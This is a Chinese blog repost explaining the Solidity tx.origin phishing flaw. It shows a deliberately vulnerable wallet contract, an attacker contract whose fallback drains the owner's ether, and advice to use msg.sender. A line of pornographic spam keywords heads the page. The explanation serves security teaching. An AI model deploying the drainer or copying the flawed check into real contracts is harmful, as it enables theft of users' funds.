国产xxxx99真实实拍_久久不雅视频_高清韩国a级特黄毛片_嗯老师别我我受不了了小说

資訊專欄INFORMATION COLUMN

solidity智能合約中tx.origin的正確使用場景

Arno / 3031人閱讀

摘要:在智能合約中使用此變量進行身份驗證會使合約容易受到類似網絡釣魚的攻擊。但針對的使用并不用談虎色變,正確的使用還是有它的應用場景的。漏洞詳解漏洞合約在如下合約中使用到了的判斷。使用提醒不應該用于智能合約的授權。

簡介

tx.origin是Solidity的一個全局變量,它遍歷整個調用棧并返回最初發送調用(或事務)的帳戶的地址。在智能合約中使用此變量進行身份驗證會使合約容易受到類似網絡釣魚的攻擊。

但針對tx.origin的使用并不用談虎色變,正確的使用還是有它的應用場景的。

漏洞詳解 漏洞合約

在如下合約中使用到了tx.origin的判斷。

pragma solidity ^0.4.11;

// 不要使用這個合約,其中包含一個 bug。
contract TxUserWallet {
    address owner;

    function TxUserWallet() public {
        owner = msg.sender;
    }

    function transferTo(address dest, uint amount) public {
        require(tx.origin == owner);
        dest.transfer(amount);
    }
}

上面的合約提供了構造函數(新版本中使用constructor)和轉賬方法。其中在轉賬方法transferTo中進行了owner的判斷,這里用到了tx.origin。

攻擊者合約

下面看一下攻擊者的合約:

pragma solidity ^0.4.11;

interface TxUserWallet {
    function transferTo(address dest, uint amount) public;
}

contract TxAttackWallet {
    address owner;

    function TxAttackWallet() public {
        owner = msg.sender;
    }

    function () public {
        TxUserWallet(msg.sender).transferTo(owner, msg.sender.balance);
    }
}

攻擊者創建一個上面的合約,然后通過各種騙術來欺騙你用正常合約(TxUserWallet)的擁有者的地址向該攻擊合約(TxAttackWallet)轉賬。然后區塊鏈會默認調用攻擊合約的fallback方法,也就是最后沒有方法名的方法,并執行轉賬操作。

而此時TxUserWallet合約里面的校驗是可以正常通過的。因為tx.origin是最初發起交易的地址,也就是合約擁有者的地址。然后,地址里面的ether便被轉到攻擊者地址中。

使用提醒

tx.origin不應該用于智能合約的授權。更多的時候采用msg.sender == owner來進行判斷。

但它也有自己使用的場景,比如想要拒絕外部合約調用當前合約則可使用require(tx.origin ==msg.sender)來進行實現。

原文鏈接:https://www.choupangxia.com/2...

文章版權歸作者所有,未經允許請勿轉載,若此文章存在違規行為,您可以聯系管理員刪除。

轉載請注明本文地址:http://specialneedsforspecialkids.com/yun/75460.html

相關文章

  • Solidity 簡易教程0x001

    摘要:函數和可用于檢查條件并在條件不滿足時拋出異常。函數只能用于測試內部錯誤,并檢查非變量。函數和狀態變量僅在當前定義它們的合約中使用,并且不能被派生合約使用。派生合約可以訪問所有非私有成員,包括內部函數和狀態變量,但無法通過來外部訪問。 Solidity是以太坊的主要編程語言,它是一種靜態類型的 JavaScript-esque 語言,是面向合約的、為實現智能合約而創建的高級編程語言,設計...

    FrozenMap 評論0 收藏0
  • 智能合約語言 Solidity 教程系列9 - 錯誤處理

    摘要:本文首發于深入淺出區塊鏈社區原文鏈接智能合約語言教程系列錯誤處理原文已更新,請讀者前往原文閱讀這是教程系列文章第篇介紹錯誤處理。如果合約沒有修飾符的的函數在接收以太幣時包括構造函數,和回退函數。如果合約通過一個的函數接收以太幣。 本文首發于深入淺出區塊鏈社區原文鏈接:智能合約語言 Solidity 教程系列9 - 錯誤處理原文已更新,請讀者前往原文閱讀 這是Solidity教程系列文章...

    xialong 評論0 收藏0
  • 等風來!區塊鏈熊市,技術人就要做技術投資

    摘要:年的區塊鏈牛市已經過去了,目前看來,年會是一個大熊市,投資抄幣估計也撈不著什么。熊市囤技術,其實是技術人員很好的選擇。三期同學討論積累資料的地址等風來區塊鏈熊市,技術人就要做技術投資。 2017 年的區塊鏈牛市已經過去了,目前看來,2018 年會是一個大熊市,投資抄幣估計也撈不著什么。熊市只能囤囤幣,囤囤技術,只能等下一輪風起了。熊市囤技術,其實是技術人員很好的選擇。等區塊鏈牛市來了,...

    番茄西紅柿 評論0 收藏0
  • 以太坊智能合約學習筆記(一)

    摘要:舍去小數位在以太坊中賬戶有兩種類型普通賬戶和智能合約賬戶。報酬是小額的以太幣,想要運行智能合約的人的需要支付報酬來使合約工作。涉及到以太坊智能合約的攻擊的問題。 智能合約可以簡單的理解為一段可執行的程序片段,具體的代碼經過 Solidity 編寫之后,發布到區塊鏈上。而以太坊的智能合約也可以理解為一個特殊的交易(包括可執行代碼的),被發送出去后會被礦工打包記錄在某一個區塊中,當需要調用...

    dadong 評論0 收藏0
  • 詳解Solidity事件Event - 完全搞懂事件使用

    摘要:什么是事件事件是以太坊虛擬機日志基礎設施提供的一個便利接口。在的應用中,如果監聽了某事件,當事件發生時,會進行回調。不過要注意日志和事件在合約內是無法被訪問的,即使是創建日志的合約。使用監聽事件,刷新現在需要使用監聽事件,刷新。 本文首發于深入淺出區塊鏈社區原文鏈接:搞懂 Solidity 事件 Event - 如何在 DApp 中使用原文已更新,請讀者前往原文閱讀 很多同學對Soli...

    dabai 評論0 收藏0

發表評論

0條評論

最新活動
閱讀需要支付1元查看
<